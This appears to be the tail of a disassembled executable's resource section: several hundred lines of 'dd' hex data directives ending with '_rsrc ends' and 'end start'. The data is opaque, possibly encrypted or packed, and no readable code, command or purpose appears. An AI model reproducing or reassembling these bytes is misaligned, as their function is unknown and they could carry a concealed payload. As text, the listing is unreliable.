0AC8EA2AEh, 0E72F5B7h, 2861C48Bh, 0E2F4CD45h, 36985B47h dd 0E79FF8C7h, 21734645h, 590DD0CDh, 3C4057C9h, 7C5E45A6h dd 3B57DD01h, 69422F7Fh, 0CCD1A4A5h, 0A49D8FA9h, 9C4F9586h dd 792E6C72h, 3C0B2627h, 0BE00973Fh, 1BCBFBBh, 0E7B5E073h dd 265D8B8Eh, 301E7C93h, 379DAF2Dh, 8315AC03h, 1FA74A50h dd 63CCCBA2h, 0F3D9CD5Ch, 0EA3456F0h, 39D31718h, 1D67B7DEh dd 0F56D3232h, 8789A0DCh, 0B634587h, 0D637F636h, 2785603h dd 147B7FBFh, 3FBED451h, 8C263E24h, 6622ED9Bh, 0AAFBE2B2h dd 173087EDh, 3F6E5880h, 42A9B93Ch, 0A878F0BFh, 0B7B78A8Eh dd 9B3D2078h, 0FFE85DE1h, 0D2580030h, 31B5E9A6h, 1C2C4F4Eh dd 3FF22025h, 335CECCh, 0BDC1EF3Eh, 91412B6Fh, 2834EC1Dh dd 0DEE2B531h, 0B28E514Ch, 7E4A75EBh, 654950FDh, 3B03E6FEh dd 0D0EE7C65h, 48522524h, 6DB4D9B3h, 0F85F7343h, 94F7B157h dd 44142F28h, 0E315E817h, 39671010h, 603566FEh, 588A360Fh dd 0BB398581h, 0AAB3FCFDh, 0D521758h, 0A2519FADh, 0E2AFCA23h dd 0D1FBB6B5h, 6BAD653Dh, 0C295C6CAh, 923A2B40h, 2591E5D6h dd 0F7B1CE2Eh, 2F396C6Dh, 56887B08h, 7DAF9221h, 0A4D6A9ABh dd 0CBFDD0D1h, 0F324F7F8h, 0E51F4971h, 71589FD2h, 0C4C3C66Eh dd 74B45411h, 0EA2B555Eh, 0BB7C83A1h, 605A6B45h, 463C7E56h dd 20F13B3Ch, 19C92CDCh, 0D3BAF0D3h, 0A4FAB8BAh, 93538086h dd 7B49687Ch, 52023737h, 2697040Eh, 0F8DFF4E0h, 0DF8CFEDCh dd 980C9E85h, 7655627Ah, 4532684Ah, 20E31833h, 10C7150Dh dd 0EC93A3E5h, 0A083ABAEh, 8E7183A2h, 55356A7Fh, 5E1F0341h dd 30F11309h, 0FDD4E3EAh, 0C28AE1D3h, 0D86DBDB8h, 9E547646h dd 4E0D4958h, 29E13621h, 11D5397Ah, 0CFABD5C0h, 0AA99A7A7h dd 0D96C838Ah, 702A4425h, 57034D4Eh, 27D76511h, 0EEEDF8E5h dd 0C981D6C1h, 0A1629DDAh, 99436B44h, 51235E68h, 3E0B3339h dd 71E40B12h, 0DEB8FAD9h, 0EC96AAACh, 0E77F9785h, 48367053h dd 610C5052h, 5CF50E0Bh, 0CEC3EFCEh, 0C6ABD5DFh, 0BE6C9EB2h dd 974DB19Ah, 66546642h, 27363A2Bh, 0ACE0011h, 0F2A7FDD4h dd 0BDB1A6AFh, 0B6638FADh, 694B616Bh, 410F7D54h, 35F90305h dd 81F5FEF5h, 0FCAFCBE9h, 9672B8B0h, 0B64C9094h, 5E344944h dd 321D0C4Ch, 1DF21727h, 0FCB2F8CAh, 0DEAAC080h, 9171B19Ch dd 64536663h, 45067137h, 2BF83808h, 3ADFEBECh, 0E1D8EAD4h dd 0A2A9A6B6h, 904B8C96h, 73284F6Bh, 3714253Bh, 2BF20019h dd 0E5A6D197h, 0DC84D4E9h, 0A462938Ah, 645C7E64h, 57125C40h dd 3AEB1D5Bh, 3DC2E0E0h, 0C0BAC4C5h, 0AB9383D0h, 904ABA93h dd 60397F6Dh, 213F4507h, 2F03A1Dh, 0C8A6DCE3h, 0B582D6D2h dd 0B36B91ADh, 615A604Ch, 5B2D517Ch, 13E33931h, 1CDB317Fh dd 0CFA0F5C8h, 0B48AA9AEh, 8052A3F4h, 653B7E7Fh, 54297070h dd 64E21A18h, 0E8D2E2C1h, 8197C4DDh, 0A26E90EDh, 64610673h dd 411C494Fh, 1C813139h, 1FEE0F19h, 0E98EC7CFh, 0A69FBBBEh dd 9F788484h, 76161858h, 56057934h, 8FC3602h, 0FADFF9E0h dd 0DB84E7B5h, 0B264B29Ah, 9B5D6A50h, 4034782Bh, 197F2237h dd 3C71417h, 0EDA8C9F6h, 0A8B2A188h, 0BF1B8B82h, 6537647Fh dd 5B2B515Ch, 5EF20B08h, 0F1D1F9DCh, 0C0B6F4D7h, 0A048D9BCh dd 8E446540h, 50065D5Bh, 25142626h, 3C11013h, 0F2A0F1C9h dd 0CABCC5AAh, 877C9EA8h, 64077167h, 7A685E56h, 3EFD2115h dd 0D2D3FDE9h, 0CCBEDFDDh, 9F04A4A5h, 9C59BD8Ah, 70365247h dd 2219223Fh, 16E40707h, 0D6BCD59Bh, 0C88EA7B0h, 8773BA8Ch dd 65517865h, 7F117638h, 30DA2F3Eh, 0E6FCF1E3h, 0D3B9C8FEh dd 0CF6FBBBDh, 87678FB2h, 77164D41h, 0B772F27h, 9EE3E06h dd 0FCB7C8F7h, 0C99FDAA3h, 877889B3h, 7D750E61h, 5E074579h dd 23EA390Eh, 7EDEECEDh, 0D787DEE5h, 0AF9BA5BDh, 864CAE8Dh dd 772C5555h, 2D192205h, 279B171Dh, 0F5B7C4E2h, 0CEBAC5CFh dd 0B2759797h, 695E6545h, 593E5F41h, 54E83633h, 9FAF4CFh dd 0F4B1D3C1h, 0BC8FBCA6h, 946F9997h, 61387273h, 53051645h dd 5F10539h, 0DEDAF6FCh, 0DA8FCBCEh, 9D62B486h, 505C7B67h dd 44355D44h, 2D45630h, 19DE2E3Fh, 0EFA4D0D7h, 0A994A8CCh dd 816C9780h, 61227178h, 52012242h, 17F60D07h, 0FED9E890h dd 0C590D9DFh, 0B864A4BCh, 7232606Bh, 272F4F48h, 2AEE3627h dd 16C8097Bh, 9CBAC4C9h, 0A681A680h, 9F798182h, 612B7B5Bh dd 570A765Ah, 60F70902h, 0E2CDE2C4h, 0DA85DDC6h, 9573BF9Ch dd 98416C6Ch, 40325E49h, 3F1F2502h, 1CEC781Dh, 0F7BEFAEBh dd 0B0BCB2A3h, 0E85B8388h, 6A367B5Ch, 420C524Eh, 33F5132Ch dd 0C5DBF8DFh, 0DFB0F8B1h, 0B66BAABDh, 9B485274h, 4D3C6E43h dd 0C3D4F2Bh, 26F33723h, 0D2E4AFAFh, 0EFF1888Fh, 895B8C8Fh dd 4725607Dh, 6167435Ch, 2AC10605h, 0E4FEE6E2h, 0E9A4EAD7h dd 0B76684D5h, 8A4F88ACh, 7333735Ch, 3E3C2939h, 8F27332h dd 0E0A2C9FDh, 0CE82A097h, 0A26DAD8Dh, 0FD49310h, 5935FF1Ch dd 0B08B5E5Eh, 7C96C908h, 0A3B3ACC6h, 0A4538382h, 0A6EB71FEh dd 491FF6A8h, 16270920h dd 0F6088F22h, 11C4A7B4h, 2C14B27Bh, 0E122C943h, 0CB32C98Dh dd 86E4B962h, 65886B49h, 7DC5D27Ch, 3129A7C0h, 0CBCDFC98h dd 772B377Dh, 1A4C1FB0h, 21272E17h, 0BC116D6Eh, 434A94FFh dd 0B680FBD6h, 0B40FF2E3h, 55D5809h, 2C3E655Ah, 2853259h dd 0EF532FD3h, 0A1E38A2Ah, 5D059491h, 0F011DF38h, 4B3DE398h dd 2BF0CECFh, 69746A5Bh, 9CBE041Fh, 62E6B889h, 9F38CB7h dd 2E498283h, 0A6D62E1Fh, 50824E6Eh, 88562895h, 0F55285Bh dd 48F7FAE7h, 0ED05747Dh, 0EB05F11Ah, 0BEE6BFBEh, 62A44BE9h dd 92370102h, 820AB5B6h, 53F62322h, 0CF1D8180h, 5299A92Ch dd 0D40FDE58h, 9CA77A61h, 64315EBCh, 1AA0F43h, 0EA1C07BAh dd 90191717h, 871B8D3h, 0D25B5665h, 0B6996C09h, 0FCB4E2B3h dd 84568A8Bh, 0D02E97FDh, 27D02A19h, 87EBAE74h, 2CA5485Ch dd 0CDCC9B5Ch, 0BFF3C62Dh, 0A9BB0ECh, 0E720FA1h, 0A0E4C351h dd 5CA079E2h, 0A37AD8D9h, 0AAF4B194h, 0B4091C54h, 0E0EA7A38h dd 1992717h, 52B3CB89h, 6F867545h, 55949CB6h, 0BC9AC2A9h dd 96E8D915h, 892AED16h, 5B964DF9h, 5A8D606Bh, 82EF570Ch dd 1D5692FEh, 0D032CF31h, 0F9254676h, 95DA2425h, 46784A44h dd 0A6B48A70h, 670D12FAh, 0BE99A167h, 8E105AFh, 5FB8CD2h dd 62B7BD60h, 0CDA91D5h, 2DE0C4EFh, 332754C6h, 0CDCFFE4Eh dd 7E2A3D79h, 2C6228B7h, 0C0A26349h, 6D5B689Ah, 912B96FDh dd 7BE9EA37h, 0CCE6718Ch, 833C0C3Dh, 0EE533B3Ch, 0DC9DEA19h dd 4C827617h, 2E375FA9h, 3456AE92h, 31C2833Eh, 194BF64Ah dd 0C12F4546h, 57821A80h, 755D1894h, 36E78A97h, 0DD06C59Eh dd 48F8D05h, 0C7DC3031h, 52845550h, 78AF162Bh, 352DA5A6h dd 0C7C9E0E4h, 6BAD0F7Fh, 16491F38h, 3D051243h, 64966D82h dd 0DFEFC691h, 271BE0B8h, 0DA3BF2FAh, 96BECF34h, 285A2C2Ah dd 4DEB0504h, 1EA9112Dh, 0DDCFA2A3h, 35633698h, 7A1DC0DAh dd 4831EE9Ch, 3E046B10h, 36936666h, 0A89E3971h, 50E1B4B7h dd 0E7240249h, 3EB55A04h, 31BB3D5Fh, 26ABD902h, 24F72B79h dd 0EF585FF6h, 98F4F7EBh, 396E2E6Bh, 0DDD6E940h, 0BA6A0D16h dd 9C32033h, 8E0CFE1h, 0ACDEB625h, 143572D9h, 877116Bh dd 72067983h, 192D001Fh, 89318824h, 16CBAEB6h, 0BEF0CD00h dd 0C26D13EBh, 0C4D4EB1Bh, 67680B16h, 7746F79Eh, 40EB89B8h dd 975DB0ABh, 9705A2DCh, 0EC577375h, 39B02616h, 577AD8C0h dd 0BFA27444h, 111A64CDh, 4367CD02h, 0EB16E9E9h, 0B3EE195h dd 85BB838h, 0D9CA4F2Ah, 4BC86B8h, 0A7DAAD4Ch, 0BA21EA54h dd 0C9A9BD0Dh, 591E6A74h, 8AFC683Eh, 239F37B4h, 0F99456B2h dd 0E9BAEEC0h, 0CED27318h, 32620E3Fh, 8FE73AF7h, 0BE895C5Dh dd 7EB08335h, 0F787942Ah, 49F1879Bh, 0F425F85Ch, 0B745E6A2h dd 0C67B4A74h, 699B6EF6h, 63B7B5AAh, 0B8D38011h, 0DF106F61h dd 2635A60Ch, 107F1213h, 20E33E7Bh, 4701FFF4h, 23A8D288h dd 0A1DB31B1h, 80578182h, 6849639Fh, 4A5E6B7Fh, 99DFAD04h dd 378E9D93h, 0B4E69EAAh, 235F0216h, 3319619Ch, 7A9C1C30h dd 0B9D30607h, 78AA7D77h, 0F1A6CBE1h, 0A299A4A0h, 3F8A0DF3h dd 90472A37h, 0F583582h, 9810E1A0h, 0DBBCBFBCh, 0B1E0B6DFh dd 8F5B8C5Ah, 0D5A7FA56h, 0AA591C01h, 7E9B23C1h, 0BC942A7Bh dd 0CE9EF0F6h, 560A9998h, 0EB2CC3F1h, 0ED60139Fh, 940F3AAh dd 0E0519D66h, 0B7ACE300h, 6D19B2B4h, 0D2238650h, 0FD2F02EBh dd 0C9D6772Ah, 4B4E4C2Ch, 42E6C5F3h, 2C479FAFh, 0C0C3F68Dh dd 659116EEh, 0F722552h, 0B3E299CFh, 5DA05320h, 0B4881F01h dd 2EDDB181h, 0D335E8EFh, 72450289h, 0DE552834h, 785026DBh dd 336A9D75h, 0FFBCF8D8h, 0EDADA1A0h, 8C6B9282h, 412C7271h dd 4108575Ch, 88BD6119h, 77E7470Ch, 495FFD77h, 0D343BCD6h dd 9278AA04h, 0A4E7A83Dh, 0FF797C51h, 6DA07364h, 6A8A9E17h dd 0DD113E3Eh, 0AE116543h, 0A3D1010h, 76E99C51h, 0BCB9F55Ah dd 9D19E329h, 954C2157h, 9A00E3E3h, 975FC91h, 2D63BBB6h dd 6002C24Ah, 7359F379h, 17CB571Dh, 0B9EBBF1Ah, 0C17AE58Ch dd 5E3A0D0Fh, 0BA9E3F5Fh, 56B877FDh, 0F6A3DC08h, 395FB9E4h dd 0CBCDE0E6h, 0C31F7A71h, 0F9CD1F10h, 4E8CB647h, 68F03E3Fh dd 3A3E92FFh, 0B6D88B8Fh, 0F24A771Ch, 0FA670A3Bh, 1C6E0287h dd 9E10A759h, 22AC4FABh, 0AE406622h, 0C8FB994Ah, 0CBA092F5h dd 1B3D4650h, 53E5BC17h, 8C975A47h, 8CBE90D3h, 0B32D0634h dd 6C03DFE0h, 76B91946h, 2D33311Eh, 7825557h, 5B88E982h dd 0C986A394h, 0EE1E5F34h, 0AE95F1C2h, 9F851A26h, 0E86E3811h dd 0E9B415E3h, 0BD3696C5h, 0B34FE485h, 0D9715D1Eh, 8D545760h dd 0D4BB2958h, 642DB80Ah, 62C5E76h, 68CDF885h, 0CDE99A43h dd 0E952EB58h, 93709CC4h, 76E0CD3Dh, 6027EC6Dh, 0DB9BCBCh dd 9A558885h, 0A707EAEAh, 0CB9A2981h, 18571A19h, 7A4E6AE5h dd 267777h, 0AB336061h, 0FC464F05h, 6E1ADDDCh, 3E725299h dd 5F396C3Bh, 5DFA3361h, 83B78AE1h, 2F21E630h, 0D235CDAFh dd 0D1DD6A00h, 0ACAB2717h, 484B5B36h, 605D8DF6h, 6936A718h dd 8E754A3Ch, 8F17DADAh, 5A3F7812h, 52F3C669h, 0D18D504Ch dd 0B184C002h, 0AA3B6FAEh, 0D0688585h, 0D4146902h, 9AD82415h dd 46487B07h, 6DF5A6F8h, 0C4F466C8h, 8BDE753Eh, 76EBE7D8h dd 0A0C2349h, 150B3BCh, 5C035D6Eh, 0B2247BA1h, 2DD89B87h dd 7874EE80h, 0F516C9B1h, 285475A9h, 0D65EB6C2h, 6AAC5F47h dd 0A1841B1Ch, 9347BD8Eh, 1AF34F27h, 1A4D8980h, 7F313304h dd 4D60A08h, 50AF147Dh, 5C85A899h, 0FAD70245h, 810635F7h dd 7C713425h, 2C102428h, 27A30808h, 0E2A5FBE7h, 9BD589D7h dd 0F1628D86h, 57363827h, 6E096368h, 27C70B15h, 17CE0C0Dh dd 0CEBDE6D2h, 0AB96BEB9h, 0B35496A7h, 603A7E4Fh, 4E0A212Ah dd 5FE3A36h, 0CAD9F5E3h, 0C181D4DBh, 0BB5B82ACh, 645E6775h dd 5B28485Ah, 3DE81209h, 1AC90C19h, 0F1A0F2CFh, 988FAAA3h dd 827C84A2h, 7737797Dh, 5C034D10h, 3DF60A0Eh, 0E0CEF8CFh dd 0D588C6DAh, 0A749BFB9h, 9D596F74h, 4A315F4Ah, 23213Ch dd 73D20A10h, 0CE8BEFF3h, 84A68690h, 8A72A3B2h, 7F307964h dd 6036495Bh, 31F50A0Dh, 0C6E4F8FCh, 0C9ADC0C7h, 0B150ADB7h dd 94477273h, 5A137546h, 3B123C3Fh, 24A40513h, 0F2ACECFCh dd 0CD9D8DB0h, 0E61BEC9Fh, 7F144413h, 4618EBB5h, 36E61A0Eh dd 0E9C2E7A6h, 0D9B1DEDDh, 0BF6DF9B7h, 0B72B9198h, 18656Fh dd 37083C37h, 1EDB1000h, 0D09BCE91h, 0F68AE290h, 0C458A0A6h dd 79576737h, 38564D4Ch, 598CB70Ah, 1EE8686h, 97FA4B40h dd 0A08412D4h, 0F728CBE9h, 327DB6DBh, 0ADB64A7Bh, 6CF056Dh dd 72701387h, 0E3EC8FEBh, 973DDA4Bh, 37BA6825h, 131728C9h dd 7B78E1D0h, 83B83B4h, 0C372FDA9h, 0C27B5C77h, 7B25C8D2h dd 2B6614A4h, 4FDBD48h, 97D5E295h, 72C3246Dh, 485C3172h dd 0B710D3C8h, 6380A08h, 14CACD65h, 0BD866976h, 7BAD8008h dd 0B77D2225h, 0A3ABCEFFh, 0E2C9FF6h, 2866548Bh, 1B0DC745h dd 17ED6F64h, 8DBF9A7Bh, 0F7A0EABAh, 9041A4CFh, 1EA0F709h dd 215C1F1Ch, 3B972297h, 10422D7Ch, 602E5B5Ch, 0F6D31259h dd 9ADF77F3h, 0FD97E519h, 3C6E4149h, 3CD62E3Ah, 0CE92DCDFh dd 4EE3FAFBh, 0E926C04Bh, 0F973ED06h, 92D4D3D2h, 4EB07FABh dd 75A67E13h, 931F7A2h dd 0C3C5E4E8h, 0EB1CE218h, 40004B18h, 6B2E6876h, 34D73935h dd 78EF8CCEh, 9ECB5A21h, 0D60032DBh, 0B5730203h, 77037965h dd 0DE810751h, 72955391h, 0C89D56ACh, 0AAA2C5ACh, 0E81A85ECh dd 0F0145515h, 642CDA9h, 0A268E063h, 9E7A9FEh, 9BF24E24h dd 488855D8h, 902D3027h, 3B3D7A27h, 197C4F4Eh, 1A368925h dd 69CAADB0h, 8DDA0956h, 0E51303EAh, 5F151312h, 154687Ch dd 16C2254Eh, 0C0207787h, 40DC9F82h, 0D003D6DFh, 8A5A8E8Ah dd 79264B4Ch, 0B9294C0Dh, 5D8BAAE6h, 7142139Ah, 0B4EEF1EAh dd 0B19865D9h, 833D2009h, 148C0B2h, 0CD740F5Eh, 7F82A9C4h dd 0A6DDC43Fh, 7B8DD3D3h, 0F617E3A4h, 0C0F2AF7Ah, 0AC767966h dd 9462828Dh, 364150FEh, 0B9EB8E9Fh, 47B766B6h, 83A3D2Eh dd 0F05A1B8h, 2D85B6Ch, 7DC583E9h, 0A4D4C1F8h, 5E0250D1h dd 0F314DB19h, 6F16DFA5h, 0D6FECB65h, 3A9A5D4Eh, 3A4C92FFh dd 0B6D89B18h, 8E5FB4B7h, 90C8585Ah, 2C6E1DD7h, 8E10A701h dd 0BCAC4FACh, 91FD5822h, 0A612CDCEh, 0FDE0B07h, 275B6190h dd 72F58444h, 33975A7Eh, 648DCEC6h, 4C1A4AE0h, 0CE405A27h dd 56620738h, 63B31A70h, 977DAAA4h, 47BC30F8h, 0C1A8F5A4h dd 37CC22FFh, 68D90E0Dh, 14760C56h, 6F1B2517h, 0E719AE5Bh dd 898BBEC0h, 0E1B3E4E7h, 89588D8Dh, 0D30491FAh, 0B3A62C1Ch dd 4DB07F7Eh, 1B892BBh, 9BC249D5h, 8AA6C8C8h, 0BA5DB8A3h dd 5D00395Eh, 0AD943E72h, 5FA24924h, 86B98064h, 0FEA8E0B3h dd 0B451AEBFh, 0BD4A776Eh, 0B6A87A29h, 4A4E7A89h, 8E10F5E4h dd 0F0CCAFB2h, 0BFF3C60Dh, 181A87BAh, 3E6E0C81h, 0E7FCB13Bh dd 0D190537Dh, 0B39A4D34h, 0FD8CE7B0h, 0F9E04D28h, 3EAFFFCFh dd 0CEC1AA2Bh, 187B7E51h, 39A31F22h, 96CBF4CEh, 6E0F43C3h dd 1AEDF702h, 3E8291EDh, 3366092Ch, 0D2E56B14h, 7EB48794h dd 98F7C73Bh, 0D00E3DD5h, 0AB7EFCFDh, 2C1A676Ah, 0A3C657Eh dd 0F860723Fh, 94F6B5DBh, 0BBEAA852h, 5699E7E8h, 0A0C17A6h dd 9CDEBB6Eh, 0B08A6D72h, 804E7509h, 0A6D8A744h, 83B685D3h dd 0A163B7B3h, 5002650Ch, 2E0B749h, 0EF9C5F5Ch, 0A4479957h dd 2BEABDBCh, 0E011E18Dh, 0F38C810Dh, 7760032Ch, 794EE7D6h dd 294681B2h, 202A5758h, 0FAD0026Dh, 762CF6F7h, 194B1C0Fh dd 41E2A9C7h, 0FCD6C6Dh, 8EC09295h, 994A2F44h, 198FE1D2h dd 436089Ah, 4189BB61h, 0C77B0558h, 799B52B2h, 0D58B6523h dd 0D471A4C0h, 7ADFF3F4h, 16783775h, 80ECA0A8h, 64A649CCh dd 694E591h, 82C41D3Dh, 4FF48EDFh, 1032ABEh, 0AC55EDABh dd 4F8155DCh, 0FDA43BF7h, 12FF5DA3h, 0F4D66F4Fh, 129836F1h dd 12452837h, 3B063F2Ah, 0F46C640Dh, 888AA14Bh, 0A01E4C36h dd 0D709BB58h, 6BBD9004h, 25680B89h, 1F2D4238h, 5F13EC86h dd 5A48A090h, 0C0B442C8h, 5496EEEEh, 107336D2h, 4682358Ch dd 366E9B92h, 85B88B1Fh, 253999ECh, 2B52FDEDh, 0CB023094h dd 0F0EBA428h, 0F87D606Fh, 86F69F77h, 2466162h, 0BEC2E57Bh dd 0F271EC81h, 5F411413h, 0F5FDC469h, 0D68F524Dh, 0FA2ADCCh dd 99EDFF3Ah, 670B87D6h, 0DD6F75F4h, 28B3E732h, 557B074Fh dd 24B3763Eh, 0B18C9098h, 0B30E42CAh, 0B51E0928h, 1B1A551Ah dd 0BF350AC7h, 69A0A0E2h, 80AF6E86h, 89FFADADh, 0E121ACE2h dd 0CD08D5DCh, 30750601h, 3D523273h, 66ED5452h, 0DD8CD7D3h dd 45BBBFE0h, 0D2380372h, 0A5FF8F0Fh, 5A623536h, 4DE0C5Dh dd 5271167Bh, 285CAA9Bh, 0CCCEC4E0h, 0EFC6F893h, 4A40E94Ah dd 427442A0h, 0DBE486Fh, 6F95959Ch, 87C25928h, 0D3D460E4h dd 6E33E05Ch, 2D5F323Bh, 745EE4D7h, 28FA80B1h, 8E153257h dd 97ECEFFh, 44AFA188h, 187A31E1h, 2A43E1C6h, 0EB986B5Ch dd 0BD916C1Eh, 0DE2892BAh, 8F5BB1E1h, 2F889DF6h, 0D2DF2F00h dd 0C0AC2857h, 0CD2783F5h, 9FE1885Ah, 680AC67Ch, 67FE286h dd 0EAB8EC41h, 0DF793323h, 62E2E560h, 4537657Bh, 0C6E789Ch dd 0D93AF121h, 0F7B5A1F5h, 0D80A95C6h, 7EACE2C1h, 1A1AFA7Bh dd 9DCE91B7h, 0F39DE2BDh, 141CEF85h, 22687E8Dh, 0C7D6BE3Fh dd 60925548h, 27E9DF9h, 0AED09312h, 0D607DADBh, 0D3D187C5h dd 0CD572A1Ah, 0B481AF59h, 72A1BA25h, 0B7332A12h, 3FA5C6F6h dd 0D836E078h, 0F0BA9615h, 36D2B833h, 0D8196363h, 8487BA89h dd 5488B1DBh, 0E329854Dh, 0F5ED8500h, 21558CA3h, 18BC644Eh dd 3FA01C25h, 96A29CF6h, 0EB31C4C3h, 0CEE97E15h, 0F4C31322h dd 1E335C6h, 0D38E6164h, 0B1858F02h, 0A35122AEh, 5D03E6E5h dd 0C81AEE68h, 75007425h, 0D3861C4Ch, 6D905F66h, 9B386219h dd 0BBEAC145h, 1C1582E8h, 3A0D17A5h, 20F1C837h, 0DB8B6E72h dd 0FBBD7A7Dh, 0A6D9AF45h, 0FE1B565Ah, 3F14FACBh, 4D1EE120h dd 1572231Bh, 5B9AC58Eh, 73B97A8h, 0B9DB954Ah, 651D2563h dd 83A0ECBh, 0AAE8FD06h, 56B86B43h, 15FED3D2h, 0A4D9A9B5h dd 8E682F81h, 7624C7D4h, 64C810E0h, 0C8734644h, 58AA4EEBh dd 0C44A5795h, 0D6BB0384h, 0C3CE2E3h, 0F4C0CB08h, 0A9D7D0C5h dd 53B56876h, 0C290340Bh, 0A1D3BD6Bh, 9F91FFDh, 11D60502h dd 276E9994h, 31B34374h, 9C9121DCh, 0DF33A771h, 0F052B7A1h dd 92DCDCF4h, 11CC663h, 7661AFFFh, 0A9EC3C21h, 0F4E06209h dd 0ECD1AFDEh, 0F9BC4114h, 0EE0AB379h, 50CB0958h, 0E29ABF09h dd 0E7AFA64Bh, 898BBE94h, 0F469EC75h, 5080D0F9h, 0FF3104BDh dd 179AEC1Fh, 7DAE6461h, 45894A54h, 0D0BAEF81h, 0B299A6BAh dd 8475C18Eh, 1B497871h, 5E02021Dh, 3AFF0417h, 0E5CBFFACh dd 0D988918Eh, 0FA3DAAAEh, 0B75B4C2Dh, 533B445Bh, 24177F31h dd 38A1711h, 0F1F3B0FDh, 9FD1F7F8h, 937E849Bh, 2E73287Ch dd 52005953h, 6DAD170Ah, 0FAC3F9A9h, 88E3D4DCh, 0B677B7B5h dd 0CA168D9Ah, 0E681905h, 29092827h, 629C1018h, 1D371796h dd 8DC0D84Eh, 66595AEAh, 0A2CD16FBh, 0CE7304Ch, 34FF2B14h dd 0A7773F2h, 0B3562550h, 6002E5E5h, 0FDC07FC1h, 0F1248AD7h dd 335774CCh, 6CD8F984h, 4B1946BFh, 0F4AFFD1Eh, 0B61BEACh dd 0E2C2245Fh, 3163341Bh, 588A0536h, 8E59DF85h, 0D2275451h dd 0D67259F3h, 7826C9CAh, 0D3652016h, 7049C507h, 0ED389C8Dh dd 90BD1B4Eh, 9F5F0833h, 13EDE4D5h, 0C8B2CFA9h, 93ED38DFh dd 55B774A4h, 4F710A7Eh, 0C2E90460h, 0B0C0C9A2h, 0D20FF480h dd 6D1722B5h, 345C79AAh, 129950B0h, 5FD707Ch, 0E6627CBAh dd 0DD0ED1D2h, 416E4C37h, 166F4431h, 52D6140Bh, 868E550Bh dd 9DD25A59h, 0C7B49885h, 0BF1DE180h, 62484B54h, 6E2E7F48h dd 0E199693Ah, 74426ED0h, 82B73246h, 0E9E0DEEFh, 0FECD99EEh dd 1559A6D1h, 0CCF1D02h, 888FFF73h, 0CAF25D5Ch, 0CBB89C89h dd 13E3EC75h, 501225E6h, 0BE630D73h, 9E6C9876h, 0DCE9DDB3h dd 0A965BBFAh, 0E4F72422h, 31EEBDFh, 0A157D4D4h, 0B380AFABh dd 654EAB4Ah, 72CDA0A0h, 3E0B399Eh, 0E91BEE06h, 0FDC24B16h dd 375A1404h, 5E90568Dh, 0B747EF8Bh, 9CFC0739h, 5D62D9E9h dd 0A8938123h, 23561918h, 0E7955A3Ah, 995B8888h, 97CB9F8Eh dd 0F3CC44A2h, 0EE9CE3B1h, 86411412h, 0EA6B0764h, 0BB4E307h dd 7A3386CDh, 5EDDB0AFh, 0F104C195h, 7C24FEFEh, 205326CDh dd 45260EBBh, 6E40F07Bh, 0EB499B9Bh, 9CCFE2E2h, 3092E6C9h dd 0E33E1111h, 0CD9AC59Fh, 5945DD50h, 0C2388686h, 0B79026A5h dd 0CB7215FFh, 0F2C33BCFh dd 54D9EB27h, 6EF2C35Bh, 849E4142h, 6C3A65CFh, 0BAEC1028h dd 0C58E6DE7h, 0A3B3E3Fh, 521EABh, 0ABE7B45Dh, 0FABF7C7Bh dd 0A5D7AA24h, 0FCDD6459h, 0AAAEF8C9h, 0F393231Dh, 0BD8BBA1Fh dd 231A131Dh, 90C2F5B2h dd 1580h dup(?) _rsrc ends end start